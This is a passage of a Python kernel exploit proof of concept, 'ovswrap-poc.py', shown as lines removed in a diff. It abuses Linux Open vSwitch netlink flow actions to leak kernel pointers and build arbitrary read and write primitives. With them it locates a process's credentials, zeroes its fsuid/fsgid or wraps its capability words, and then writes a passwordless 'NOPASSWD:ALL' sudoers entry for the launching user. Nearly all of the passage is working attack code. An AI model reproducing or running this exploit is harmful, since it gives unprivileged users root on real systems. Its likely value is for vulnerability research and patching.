cstr(name)) - payload += nla(OVS_DP_ATTR_UPCALL_PID, struct.pack("I", 0)) - payload += nla(OVS_DP_ATTR_USER_FEATURES, struct.pack("I", 0)) - genl.request( - family_id, - OVS_DP_CMD_NEW, - OVS_DATAPATH_VERSION, - payload, - NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE, - ) - - -def flow_key(seq: int) -> bytes: - src_ip = 0x0A000000 | ((seq & 0xFFFF) + 1) - return b"".join( - [ - nla(OVS_KEY_ATTR_IN_PORT, struct.pack("I", 0)), - nla( - OVS_KEY_ATTR_ETHERNET, - b"\x02\x00\x00\x00\x00\x01" + b"\x02\x00\x00\x00\x00\x02", - ), - nla(OVS_KEY_ATTR_ETHERTYPE, struct.pack("!H", ETH_P_IP)), - nla( - OVS_KEY_ATTR_IPV4, - struct.pack("!IIBBBB", src_ip, 0x0A0000FE, IPPROTO_TCP, 0, 64, 0), - ), - nla(OVS_KEY_ATTR_TCP, struct.pack("!HH", 10000 + (seq % 50000), 443)), - nla(OVS_KEY_ATTR_TCP_FLAGS, struct.pack("!H", 0)), - ] - ) - - -def ct_action(payload: bytes = b"") -> bytes: - return nla(OVS_ACTION_ATTR_CT, nla(OVS_CT_ATTR_COMMIT, b"") + payload) - - -def ct_helper_payload() -> bytes: - return nla(OVS_CT_ATTR_HELPER, b"ftp\x00") - - -def clone_with_helper_leak(fake_action: bytes) -> bytes: - labels = bytearray(32) - labels[20 : 20 + len(fake_action)] = fake_action - payload = nla(OVS_CT_ATTR_LABELS, bytes(labels)) + ct_helper_payload() - helper_payload = ct_helper_payload() - return nla( - OVS_ACTION_ATTR_CLONE, - ct_action(payload) + ct_action(helper_payload) * (CT_ACTION_COUNT - 1), - ) - - -def clone_with_fake_set_timeout(tun_dst: int) -> bytes: - labels = bytearray(32) - labels[20:24] = struct.pack(NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET) - labels[24:28] = struct.pack(NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO) - labels[28:32] = struct.pack("> 32) & 0xFFFFFFFF) - payload = nla(OVS_CT_ATTR_LABELS, bytes(labels)) - payload += nla(OVS_CT_ATTR_TIMEOUT, bytes(timeout)) - return nla( - OVS_ACTION_ATTR_CLONE, - ct_action(payload) + ct_action() * (CT_ACTION_COUNT - 1), - ) - - -def labels_only_wrap_plan(ct_action_len: int, labels_offset: int) -> tuple[int, int]: - if ct_action_len < 8 or ct_action_len % 4: - raise RuntimeError(f"unexpected OVS CT action length {ct_action_len}") - fake_offset = 16 - target_wrap = 8 + labels_offset + fake_offset - if target_wrap >= 0x10000 or target_wrap % 4: - raise RuntimeError( - f"cannot target labels-only fake SET wrap offset 0x{target_wrap:x}" - ) - best_score: int | None = None - best_total = 0 - best_pad = 0 - for total_ct_actions in range(360, 421): - base_wrap = (4 + total_ct_actions * ct_action_len) & 0xFFFF - diff = (target_wrap - base_wrap) & 0xFFFF - pad_count = diff // 4 - true_len = 4 + total_ct_actions * ct_action_len + pad_count * 4 - if true_len <= 0xFFFF or pad_count > 256: - continue - score = pad_count + abs(total_ct_actions - 400) - if best_score is None or score < best_score: - best_score = score - best_total = total_ct_actions - best_pad = pad_count - if best_score is None: - raise RuntimeError( - "could not build labels-only fake SET wrap plan for " - f"ct_action_len={ct_action_len} labels_offset={labels_offset}" - ) - return best_total, best_pad - - -def clone_with_fake_set_tunnel_labels_only( - tun_dst: int, ct_action_len: int, labels_offset: int -) -> bytes: - total_ct_actions, pad_count = labels_only_wrap_plan( - ct_action_len, labels_offset - ) - fake_offset = 16 - labels = bytearray(32) - labels[fake_offset : fake_offset + 4] = struct.pack( - NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET - ) - labels[fake_offset + 4 : fake_offset + 8] = struct.pack( - NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO - ) - labels[fake_offset + 8 : fake_offset + 16] = struct.pack(" bytes: - if carrier == CARRIER_TIMEOUT: - return clone_with_fake_set_timeout(tun_dst) - if carrier == CARRIER_LABELS_ONLY: - return clone_with_fake_set_tunnel_labels_only( - tun_dst, - offsets.ovs_ct_action_len, - offsets.ovs_ct_labels, - ) - raise RuntimeError(f"unknown fake SET carrier {carrier!r}") - - -def fake_set_carrier_error(exc: Exception) -> bool: - if isinstance(exc, OSError): - return exc.errno == errno.EINVAL - return "flow get response did not include actions" in str(exc) - - -class FakeSetCarriers: - def __init__(self, mode: str, label: str) -> None: - if mode not in CARRIER_ORDER and mode != CARRIER_AUTO: - raise RuntimeError(f"unknown {label} carrier mode {mode!r}") - self.mode = mode - self.label = label - self.timeout_disabled = False - - def names(self) -> tuple[str, ...]: - if self.mode != CARRIER_AUTO: - return (self.mode,) - if self.timeout_disabled: - return (CARRIER_LABELS_ONLY,) - return CARRIER_ORDER - - def retry_after(self, carrier: str, has_next: bool) -> bool: - if self.mode != CARRIER_AUTO or carrier != CARRIER_TIMEOUT or not has_next: - return False - print( - f"fake SET timeout carrier failed for {self.label}; " - "using labels-only carrier", - flush=True, - ) - self.timeout_disabled = True - return True - - -def create_flow( - genl: GenericNetlink, - family_id: int, - dp_ifindex: int, - key: bytes, - actions: bytes, -) -> None: - payload = ( - struct.pack("i", dp_ifindex) - + nla(OVS_FLOW_ATTR_KEY, key) - + nla(OVS_FLOW_ATTR_ACTIONS, actions) - ) - genl.request( - family_id, - OVS_FLOW_CMD_NEW, - OVS_FLOW_VERSION, - payload, - NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE, - ) - - -def delete_flow(genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes) -> None: - payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key) - genl.request( - family_id, - OVS_FLOW_CMD_DEL, - OVS_FLOW_VERSION, - payload, - NLM_F_REQUEST | NLM_F_ACK, - ) - - -def get_flow_actions( - genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes -) -> bytes: - payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key) - replies = genl.request(family_id, OVS_FLOW_CMD_GET, OVS_FLOW_VERSION, payload) - if not replies: - raise RuntimeError("flow get returned no replies") - for attr in parse_attrs(replies[0][8:]): - if attr.attr_type == OVS_FLOW_ATTR_ACTIONS: - return attr.payload - raise RuntimeError("flow get response did not include actions") - - -def likely_kernel_pointers(buf: bytes) -> list[tuple[int, int]]: - hits: list[tuple[int, int]] = [] - for offset in range(0, max(0, len(buf) - 7)): - value = struct.unpack_from(" int: - for top in parse_attrs(actions): - if top.attr_type == OVS_ACTION_ATTR_OUTPUT and top.raw_len == 512: - hits = likely_kernel_pointers(top.payload) - helperish = [ - value - for _off, value in hits - if 0xFFFFFFFFC0000000 <= value <= 0xFFFFFFFFDFFFFFFF - and (value & 0x7) == 0 - ] - if helperish: - return helperish[0] - if hits: - return hits[0][1] - raise RuntimeError("no helper pointer found in fake OUTPUT leak") - - -class OvsReadPrimitive: - def __init__( - self, - genl: GenericNetlink, - flow_family: int, - dp_ifindex: int, - offsets: KernelOffsets, - carrier_mode: str = CARRIER_AUTO, - preferred_lanes: tuple[str, ...] = (), - ) -> None: - self.genl = genl - self.flow_family = flow_family - self.dp_ifindex = dp_ifindex - self.offsets = offsets - self.carriers = FakeSetCarriers(carrier_mode, "read") - self.seq = 1000 - self.scalar_lanes = ( - TunnelReadLane( - "tos", - offsets.ip_tunnel_key_tos, - OVS_TUNNEL_KEY_ATTR_TOS, - 0, - True, - ), - TunnelReadLane( - "ttl", - offsets.ip_tunnel_key_ttl, - OVS_TUNNEL_KEY_ATTR_TTL, - 0, - False, - ), - TunnelReadLane( - "tp_src_0", - offsets.ip_tunnel_key_tp_src, - OVS_TUNNEL_KEY_ATTR_TP_SRC, - 0, - True, - ), - TunnelReadLane( - "tp_src_1", - offsets.ip_tunnel_key_tp_src + 1, - OVS_TUNNEL_KEY_ATTR_TP_SRC, - 1, - True, - ), - TunnelReadLane( - "tp_dst_0", - offsets.ip_tunnel_key_tp_dst, - OVS_TUNNEL_KEY_ATTR_TP_DST, - 0, - True, - ), - TunnelReadLane( - "tp_dst_1", - offsets.ip_tunnel_key_tp_dst + 1, - OVS_TUNNEL_KEY_ATTR_TP_DST, - 1, - True, - ), - ) - self.ipv4_lanes = tuple( - TunnelReadLane( - f"ipv4_src_{index}", - offsets.ip_tunnel_key_ipv4_src + index, - OVS_TUNNEL_KEY_ATTR_IPV4_SRC, - index, - True, - ) - for index in range(4) - ) + tuple( - TunnelReadLane( - f"ipv4_dst_{index}", - offsets.ip_tunnel_key_ipv4_dst + index, - OVS_TUNNEL_KEY_ATTR_IPV4_DST, - index, - True, - ) - for index in range(4) - ) - default_lanes = self.scalar_lanes + self.ipv4_lanes - preferred_names = set(preferred_lanes) - preferred = tuple( - lane - for name in preferred_lanes - for lane in default_lanes - if lane.name == name - ) - remaining = tuple(lane for lane in default_lanes if lane.name not in preferred_names) - self.read_lanes = preferred + remaining - - def read_u8_with_lane(self, address: int, lane: TunnelReadLane) -> int | None: - key_start = address - lane.field_offset - tun_dst = key_start - self.offsets.metadata_dst_tun_info - dumped = b"" - carriers = self.carriers.names() - for index, carrier in enumerate(carriers): - self.seq += 1 - key = flow_key(self.seq) - actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets) - try: - create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions) - dumped = get_flow_actions( - self.genl, self.flow_family, self.dp_ifindex, key - ) - break - except (OSError, RuntimeError) as exc: - if fake_set_carrier_error(exc): - if self.carriers.retry_after(carrier, index + 1 < len(carriers)): - continue - return None - raise - for top in parse_attrs(dumped): - if top.attr_type != OVS_ACTION_ATTR_SET: - continue - for tunnel_key in parse_attrs(top.payload): - if tunnel_key.attr_type != OVS_KEY_ATTR_TUNNEL: - continue - saw_tunnel = False - for tunnel_attr in parse_attrs(tunnel_key.payload): - if tunnel_attr.attr_type == OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE: - return None - saw_tunnel = True - if tunnel_attr.attr_type == lane.attr_type: - if len(tunnel_attr.payload) <= lane.payload_index: - raise RuntimeError( - f"unexpected {lane.name} payload length " - f"{len(tunnel_attr.payload)}" - ) - return tunnel_attr.payload[lane.payload_index] - if saw_tunnel and lane.optional_zero: - return 0 - return None - - def read_u8(self, address: int) -> int: - for lane in self.read_lanes: - value = self.read_u8_with_lane(address, lane) - if value is not None: - return value - raise RuntimeError( - f"fixed tunnel carriers could not read byte at 0x{address:016x}" - ) - - def read_bytes(self, address: int, size: int) -> bytes: - return bytes(self.read_u8(address + offset) for offset in range(size)) - - def read_u32(self, address: int) -> int: - return int(struct.unpack(" int: - return int(struct.unpack(" None: - self.genl = genl - self.flow_family = flow_family - self.dp_ifindex = dp_ifindex - self.offsets = offsets - self.carriers = FakeSetCarriers(carrier_mode, "write") - self.seq = 100000000 - - def decrement_u32_once(self, target_address: int) -> None: - tun_dst = target_address - self.offsets.dst_entry_ref - carriers = self.carriers.names() - for index, carrier in enumerate(carriers): - self.seq += 1 - key = flow_key(self.seq) - actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets) - try: - create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions) - delete_flow(self.genl, self.flow_family, self.dp_ifindex, key) - return - except OSError as exc: - if exc.errno == errno.ENOMEM: - raise RuntimeError( - "Ran out of memory; reattempt the PoC after a reboot " - "or with more RAM (recommended 2GB+)." - ) from exc - if fake_set_carrier_error(exc): - if self.carriers.retry_after(carrier, index + 1 < len(carriers)): - continue - raise RuntimeError( - f"fake SET {carrier} write carrier failed" - ) from exc - raise - - -def valid_vmlinux_base(value: int) -> bool: - return ( - 0xFFFFFFFF80000000 <= value <= 0xFFFFFFFFF0000000 - and value % 0x200000 == 0 - ) - - -def derive_helper_module_ktype( - reader: OvsReadPrimitive, - helper_me_address: int, - helper_pointer: int, - offsets: KernelOffsets, -) -> int: - module_pointer = canonicalize_kernel_pointer(reader.read_u64(helper_me_address)) - if not ( - canonical_kernel_pointer(module_pointer) - and helper_pointer - 0x800000 <= module_pointer <= helper_pointer + 0x800000 - ): - raise RuntimeError( - "helper->me did not read as a nearby canonical module pointer: " - f"helper=0x{helper_pointer:016x} me=0x{module_pointer:016x}" - ) - ktype_addr = module_pointer + offsets.module_kobj_ktype - module_ktype = canonicalize_kernel_pointer(reader.read_u64(ktype_addr)) - if not valid_vmlinux_base(module_ktype - offsets.vmlinux_module_ktype): - raise RuntimeError( - f"module.kobj.ktype at 0x{ktype_addr:016x} read " - f"0x{module_ktype:016x}, which does not match the expected " - "vmlinux symbol offset" - ) - log(f"helper->me module pointer 0x{module_pointer:016x} validated directly") - return module_ktype - - -def canonicalize_kernel_pointer(value: int) -> int: - if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF: - return value - if 0x0000008000000000 <= value <= 0x000000FFFFFFFFFF: - return value | 0xFFFFFF0000000000 - if 0x0000800000000000 <= value <= 0x0000FFFFFFFFFFFF: - return value | 0xFFFF000000000000 - if 0x0080000000000000 <= value <= 0x00FFFFFFFFFFFFFF: - return value | 0xFF00000000000000 - return value - - -def canonical_kernel_pointer(value: int) -> bool: - canonical = canonicalize_kernel_pointer(value) - return 0xFF00000000000000 <= canonical <= 0xFFFFFFFFFFFFFFFF and canonical % 8 == 0 - - -def read_kernel_pointer( - reader: OvsReadPrimitive, - address: int, - label: str, -) -> int: - pointer = canonicalize_kernel_pointer(reader.read_u64(address)) - if not canonical_kernel_pointer(pointer): - raise RuntimeError( - f"{label} at 0x{address:016x} is not a canonical kernel pointer: " - f"0x{pointer:016x}" - ) - return pointer - - -def xarray_entry_to_node(entry: int) -> int | None: - if entry == 0 or (entry & 0x3) != 0x2: - return None - node = canonicalize_kernel_pointer(entry & ~0x3) - if canonical_kernel_pointer(node): - return node - return None - - -def xarray_entry_to_pointer(entry: int) -> int | None: - if entry == 0 or (entry & 0x3) != 0: - return None - pointer = canonicalize_kernel_pointer(entry) - if canonical_kernel_pointer(pointer): - return pointer - return None - - -def read_xarray_entry( - reader: OvsReadPrimitive, - address: int, - label: str, -) -> int: - value = reader.read_u64(address) - node = xarray_entry_to_node(value) - if node is not None: - return node | 0x2 - pointer = xarray_entry_to_pointer(value) - if pointer is not None: - return pointer - raise RuntimeError( - f"{label} at 0x{address:016x} is not a valid XArray entry: " - f"0x{value:016x}" - ) - - -def read_xa_shift(reader: OvsReadPrimitive, address: int) -> int: - value = reader.read_u8(address) - if value > 60 or value % 6 != 0: - raise RuntimeError( - f"XArray node shift at 0x{address:016x} is invalid: {value}" - ) - return value - - -def lookup_init_pid_ns_pid( - reader: OvsReadPrimitive, - offsets: KernelOffsets, - kernel_base: int, - pid_nr: int, -) -> int: - idr_addr = kernel_base + offsets.vmlinux_init_pid_ns + offsets.pid_namespace_idr - idr_base = reader.read_u32(idr_addr + offsets.idr_base) - if pid_nr < idr_base: - raise RuntimeError(f"pid {pid_nr} is below init pid namespace idr_base {idr_base}") - index = pid_nr - idr_base - xarray_addr = idr_addr + offsets.idr_idr_rt - - entry = read_xarray_entry( - reader, - xarray_addr + offsets.xarray_xa_head, - "init_pid_ns.idr.xa_head", - ) - for depth in range(8): - node = xarray_entry_to_node(entry) - if node is not None: - shift = read_xa_shift(reader, node + offsets.xa_node_shift) - slot = (index >> shift) & 0x3F - entry = read_xarray_entry( - reader, - node + offsets.xa_node_slots + slot * 8, - f"init_pid_ns.idr.slot[{slot}]", - ) - continue - pointer = xarray_entry_to_pointer(entry) - if pointer is not None: - return pointer - raise RuntimeError(f"init_pid_ns idr traversal exceeded depth limit for pid {pid_nr}") - - -def locate_task_by_init_pid_ns( - reader: OvsReadPrimitive, - offsets: KernelOffsets, - kernel_base: int, - wanted_pid: int, -) -> int: - pid_struct = lookup_init_pid_ns_pid(reader, offsets, kernel_base, wanted_pid) - first = read_kernel_pointer( - reader, - pid_struct + offsets.pid_tasks + offsets.hlist_head_first, - "pid.tasks.first", - ) - task = first - offsets.task_pid_links - if not canonical_kernel_pointer(task): - raise RuntimeError( - f"init_pid_ns idr produced noncanonical task from hlist: " - f"pid_struct=0x{pid_struct:016x} hlist=0x{first:016x}" - ) - pid = reader.read_u32(task + offsets.task_pid) - if pid != wanted_pid: - raise RuntimeError( - f"init_pid_ns idr resolved pid_struct=0x{pid_struct:016x} " - f"task=0x{task:016x}, but task.pid={pid}, expected {wanted_pid}" - ) - print( - f"located task through init_pid_ns idr: " - f"pid_struct=0x{pid_struct:016x} task=0x{task:016x}", - flush=True, - ) - return task - - -def resolve_writer_task_and_offsets( - reader: OvsReadPrimitive, - plans: tuple[KernelParameterPlan, ...], - helper_pointer: int, - writer_pid: int, -) -> tuple[int, KernelOffsets, int, int]: - failures: list[str] = [] - for plan in plans: - try: - module_ktype = derive_helper_module_ktype( - reader, - helper_pointer + plan.offsets.nf_conntrack_helper_me, - helper_pointer, - plan.offsets, - ) - kernel_base = module_ktype - plan.offsets.vmlinux_module_ktype - task = locate_task_by_init_pid_ns( - reader, - plan.offsets, - kernel_base, - writer_pid, - ) - cred_addr = task + plan.offsets.task_cred - read_kernel_pointer(reader, cred_addr, "task->cred") - log(f"kernel offsets: selected plan {plan.name!r}") - return task, plan.offsets, kernel_base, module_ktype - except RuntimeError as exc: - if is_retriable_kernel_layout_error(exc): - log(f"kernel offsets: plan {plan.name!r} failed: {exc}") - failures.append(f"{plan.name}: {exc}") - continue - raise - raise RuntimeError( - "all kernel offset plans failed while locating the host sudoers writer; " - "tried: " - + ("; ".join(failures) if failures else "no plans were configured") - ) - - -def decrement_to_zero( - reader: OvsReadPrimitive, - writer: OvsWritePrimitive, - address: int, - label: str, -) -> None: - value = reader.read_u32(address) - print(f"{label} before={value}", flush=True) - if value > 100000: - raise RuntimeError(f"{label} value {value} is unexpectedly large") - for idx in range(value): - writer.decrement_u32_once(address) - if idx and idx % 250 == 0: - print(f"{label}: queued {idx}/{value} decrements", flush=True) - time.sleep(2.0) - now = reader.read_u32(address) - if now != 0: - raise RuntimeError(f"{label} did not reach zero; current value is {now}") - print(f"{label} after=0", flush=True) - - -def decrement_zero_to_all_ones( - reader: OvsReadPrimitive, - writer: OvsWritePrimitive, - address: int, - label: str, -) -> None: - value = reader.read_u32(address) - print(f"{label} before=0x{value:08x}", flush=True) - if value != 0: - raise RuntimeError( - f"{label} expected to start at zero for legacy __refcnt conversion, " - f"got 0x{value:08x}" - ) - writer.decrement_u32_once(address) - time.sleep(0.5) - now = reader.read_u32(address) - if now != 0xFFFFFFFF: - raise RuntimeError( - f"{label} did not wrap to 0xffffffff; current value is 0x{now:08x}" - ) - print(f"{label} after=0xffffffff", flush=True) - - -def panic_on_warn_enabled() -> bool: - try: - with open("/proc/sys/kernel/panic_on_warn", "r", encoding="ascii") as handle: - return handle.read().strip() not in ("", "0") - except OSError: - return False - - -def convert_writer_credential( - reader: OvsReadPrimitive, - writer: OvsWritePrimitive, - offsets: KernelOffsets, - cred: int, -) -> None: - if offsets.dst_entry_ref_kind == "__rcuref": - step("DECREMENTING FSUID/FSGID") - decrement_to_zero(reader, writer, cred + offsets.cred_fsuid, "fsuid") - decrement_to_zero(reader, writer, cred + offsets.cred_fsgid, "fsgid") - return - if offsets.dst_entry_ref_kind == "__refcnt": - if panic_on_warn_enabled(): - raise RuntimeError( - "legacy dst_entry.__refcnt conversion would trigger a kernel " - "WARN while wrapping capability words, and panic_on_warn is enabled" - ) - print( - "legacy dst_entry.__refcnt conversion: panic_on_warn is disabled; " - "wrapping capability words may emit one nonfatal dst_release warning", - flush=True, - ) - step("WRAPPING HOST WRITER CAPABILITIES") - decrement_zero_to_all_ones( - reader, - writer, - cred + offsets.cred_cap_permitted, - "cap_permitted.low", - ) - decrement_zero_to_all_ones( - reader, - writer, - cred + offsets.cred_cap_effective, - "cap_effective.low", - ) - return - raise RuntimeError(f"unsupported dst_entry ref kind {offsets.dst_entry_ref_kind}") - - -def try_write_root_proof(path: str, text: str) -> bool: - try: - with open(path, "w", encoding="ascii") as handle: - handle.write(text) - os.sync() - return True - except OSError as exc: - print(f"write {path} failed: errno={exc.errno} {exc.strerror}", flush=True) - return False - - -def restore_pam_unix_from_backup() -> bool: - """Restore host pam_unix.so from a known-good backup (needs root creds).""" - src = os.environ.get("OVS_C004_PAM_SRC", PAM_UNIX_BAK) - dst = os.environ.get("OVS_C004_PAM_DST", PAM_UNIX_SO) - try: - with open(src, "rb") as handle: - payload = handle.read() - fd = os.open(dst, os.O_WRONLY | os.O_TRUNC) - try: - os.write(fd, payload) - os.fsync(fd) - finally: - os.close(fd) - os.sync() - print(f"pam restore succeeded: {src} -> {dst} ({len(payload)} bytes)", flush=True) - return True - except OSError as exc: - print( - f"pam restore {dst} failed: errno={exc.errno} {exc.strerror}", - flush=True, - ) - return False - - -def sudoers_references_dropin_dir( - sudoers_path: str = SUDOERS_FILE, - dropin_dir: str = SUDOERS_DROPIN_DIR, -) -> bool: - try: - with open(sudoers_path, "r", encoding="ascii", errors="replace") as handle: - for raw_line in handle: - line = raw_line.strip() - if not line: - continue - if line.startswith("#includedir") or line.startswith("@includedir"): - fields = line.split() - if len(fields) >= 2 and fields[1].strip("\"'") == dropin_dir: - return True - except OSError as exc: - print( - f"could not inspect {sudoers_path}: errno={exc.errno} {exc.strerror}", - flush=True, - ) - return False - - -def write_sudoers_dropin(path: str, username: str) -> bool: - content = f"{username} ALL=(ALL) NOPASSWD:ALL\n".encode("ascii") - old_umask = os.umask(0) - try: - os.makedirs(os.path.dirname(path), mode=0o755, exist_ok=True) - fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - try: - os.write(fd, content) - os.fchmod(fd, 0o440) - os.fsync(fd) - finally: - os.close(fd) - os.sync() - return True - except OSError as exc: - print( - f"sudoers drop-in write {path} failed: errno={exc.errno} " - f"{exc.strerror}", - flush=True, - ) - return False - finally: - os.umask(old_umask) - - -def append_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool: - content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii") - try: - fd = os.open(path, os.O_WRONLY | os.O_APPEND) - try: - os.write(fd, content) - os.fsync(fd) - finally: - os.close(fd) - os.sync() - return True - except OSError as exc: - print( - f"sudoers append {path} failed: errno={exc.errno} {exc.strerror}", - flush=True, - ) - return False - - -def replace_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool: - content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii") - directory = os.path.dirname(path) - tmp_path = os.path.join(directory, f".ovs_c004_sudoers_{os.getpid()}") - try: - with open(path, "rb") as handle: - existing = handle.read() - try: - os.unlink(tmp_path) - except FileNotFoundError: - pass - fd = os.open(tmp_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) - try: - os.write(fd, existing) - os.write(fd, content) - os.fchmod(fd, 0o440) - os.fsync(fd) - finally: - os.close(fd) - os.rename(tmp_path, path) - dir_fd = os.open(directory, os.O_RDONLY | os.O_DIRECTORY) - try: - os.fsync(dir_fd) - finally: - os.close(dir_fd) - os.sync() - return True - except OSError as exc: - try: - os.unlink(tmp_path) - except OSError: - pass - print( - f"sudoers replace {path} failed: errno={exc.errno} {exc.strerror}", - flush=True, - ) - return False - - -def write_sudoers_entry(path: str, username: str) -> tuple[bool, str]: - if sudoers_references_dropin_dir(): - if write_sudoers_dropin(path, username): - return True, path - print(f"falling back to direct append of {SUDOERS_FILE}", flush=True) - else: - print( - f"{SUDOERS_FILE} does not reference {SUDOERS_DROPIN_DIR}; " - "using direct sudoers append", - flush=True, - ) - if append_main_sudoers(username): - return True, SUDOERS_FILE - print(f"falling back to atomic replacement of {SUDOERS_FILE}", flush=True) - if replace_main_sudoers(username): - return True, SUDOERS_FILE - return False, "" - - -def try_become_root_ids() -> None: - try: - os.setresgid(0, 0, 0) - os.setresuid(0, 0, 0) - except OSError: - pass - - -def sleep_forever_detached() -> None: - os.setsid() - devnull = os.open("/dev/null", os.O_RDWR) - os.dup2(devnull, 0) - os.dup2(devnull, 1) - os.dup2(devnull, 2) - if devnull > 2: - os.close(devnull) - while True: - time.sleep(3600) - - -def fork_sudoers_writer(path: str, username: str) -> tuple[int, int, int]: - trigger_read, trigger_write = os.pipe() - ack_read, ack_write = os.pipe() - child = os.fork() - if child == 0: - os.close(trigger_write) - os.close(ack_read) - ok = False - used_path = "" - try: - token = os.read(trigger_read, 1) - if token == b"1": - try_become_root_ids() - if os.environ.get("OVS_C004_REPAIR_PAM", "1") == "1": - restore_pam_unix_from_backup() - if os.environ.get("OVS_C004_REPAIR_PAM_ONLY") == "1": - ok = True - used_path = PAM_UNIX_SO - else: - ok, used_path = write_sudoers_entry(path, username) - ack = f"1 {used_path}\n".encode("ascii") if ok else b"0\n" - os.write(ack_write, ack) - except Exception: - try: - os.write(ack_write, b"0\n") - except OSError: - pass - finally: - for fd in (trigger_read, ack_write): - try: - os.close(fd) - except OSError: - pass - if ok: - sleep_forever_detached() - os._exit(0) - os.close(trigger_read) - os.close(ack_write) - print(f"host sudoers writer child pid={child}", flush=True) - return child, trigger_write, ack_read - - -def fork_namespace_pin() -> None: - child = os.fork() - if child == 0: - sleep_forever_detached() - print(f"namespace pin child pid={child}", flush=True) - - -def trigger_sudoers_writer(trigger_fd: int, ack_fd: int) -> str: - result = b"" - try: - os.write(trigger_fd, b"1") - while True: - chunk = os.read(ack_fd, 4096) - if not chunk: - break - result += chunk - finally: - for fd in (trigger_fd, ack_fd): - try: - os.close(fd) - except OSError: - pass - if not result.startswith(b"1 "): - raise RuntimeError("sudoers writer child failed") - return result[2:].decode("ascii", errors="replace").strip() - - -def main() -> None: - if len(sys.argv) > 1 and sys.argv[1] == "--child": - host_user = validate_child_namespace() - exploit_from_private_namespace(host_user) - return - if len(sys.argv) > 1: - raise RuntimeError("usage: python3 ovswrap-poc.py") - - ensure_pahole_available() - step("CHECKING LAUNCHING USER") - host_uid, host_gid, host_user = launching_user() - print( - f"launching user: name={host_user} uid={host_uid} gid={host_gid}", - flush=True, - ) - ensure_user_starts_without_passwordless_sudo(host_user) - prepare_system_map_host() - sudoers_path = f"/etc/sudoers.d/ovs_c004_{os.getpid()}" - writer_pid, writer_trigger_fd, writer_ack_fd = fork_sudoers_writer( - sudoers_path, host_user - ) - run_child_in_private_namespace( - host_user, - writer_pid, - writer_trigger_fd, - writer_ack_fd, - ) - - -def exploit_from_private_namespace(host_user: str) -> None: - step("BEGINNING SETUP") - print(f"host user for sudoers entry: {host_user}", flush=True) - print(f"namespace uid/gid: uid={os.getuid()} gid={os.getgid()}", flush=True) - print(f"process identity: {run_text(['id'])}", flush=True) - print(f"effective capability mask: {process_status_line('CapEff:')}", flush=True) - print(f"uid_map: {uid_map_first_entry()[3]}", flush=True) - - genl = GenericNetlink() - dp_family = genl.get_family("ovs_datapath") - flow_family = genl.get_family("ovs_flow") - dp_name = f"vhrd{os.getpid() % 10000}" - create_datapath(genl, dp_family, dp_name) - dp_ifindex = socket.if_nametoindex(dp_name) - print(f"datapath {dp_name} ifindex {dp_ifindex}", flush=True) - - step("DERIVING KERNEL OFFSETS") - kernel_plans = tuple(build_kernel_parameter_plans()) - kernel_record = next( - (plan.record for plan in kernel_plans if plan.record is not None), - None, - ) - derive_ovs_uapi_constants(kernel_record) - offsets = kernel_plans[0].offsets - writer_pid, writer_trigger_fd, writer_ack_fd = inherited_sudoers_writer() - fork_namespace_pin() - - step("BUILDING OVS ACTION PRIMITIVES") - fake_copy = struct.pack(NLA_HDR, 512, OVS_ACTION_ATTR_OUTPUT) - helper_leak_key = flow_key(1) - create_flow( - genl, - flow_family, - dp_ifindex, - helper_leak_key, - clone_with_helper_leak(fake_copy), - ) - helper_leak_actions = get_flow_actions(genl, flow_family, dp_ifindex, helper_leak_key) - helper_pointer = find_helper_pointer(helper_leak_actions) - print(f"leaked helper-ish pointer 0x{helper_pointer:016x}", flush=True) - - read_carrier = ( - kernel_record.read_carrier if kernel_record is not None else CARRIER_AUTO - ) - write_carrier = ( - kernel_record.write_carrier if kernel_record is not None else CARRIER_AUTO - ) - read_lanes = kernel_record.read_lanes if kernel_record is not None else () - reader = OvsReadPrimitive( - genl, - flow_family, - dp_ifindex, - offsets, - read_carrier, - read_lanes, - ) - writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier) - - step("CHECKING BASELINE WRITE") - protected_path = f"/root/ovs_c004_lpe_proof_{os.getpid()}" - if try_write_root_proof(protected_path, "pre-exploit should not write\n"): - raise RuntimeError("unexpectedly wrote root proof path before exploit") - - step("LOCATING WRITER CREDENTIAL") - task, offsets, kernel_base, module_ktype = resolve_writer_task_and_offsets( - reader, - kernel_plans, - helper_pointer, - writer_pid, - ) - writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier) - print(f"module_ktype=0x{module_ktype:016x} kernel_base=0x{kernel_base:016x}", flush=True) - cred = read_kernel_pointer(reader, task + offsets.task_cred, "task->cred") - print( - f"writer task=0x{task:016x} pid={writer_pid} cred=0x{cred:016x}", - flush=True, - ) - - convert_writer_credential(reader, writer, offsets, cred) - - step("WRITING SUDOERS ENTRY") - used_sudoers_path = trigger_sudoers_writer(writer_trigger_fd, writer_ack_fd) - print( - f"sudoers write succeeded: {used_sudoers_path} user={host_user}", - flush=True, - ) - print( - "sudoers policy write achieved; returning to launcher for root shell", - flush=True, - ) - - -if __name__ == "__main__": - try: - main() - except RuntimeError as exc: - print(f"ERROR: {exc}", flush=True) - raise SystemExit(1) - except OSError as exc: - if exc.errno == errno.ENOMEM: - print( - "ERROR: Ran out of memory; reattempt the PoC after a reboot " - "or with more RAM (recommended 2GB+).", - flush=True, - ) - raise SystemExit(1) - raise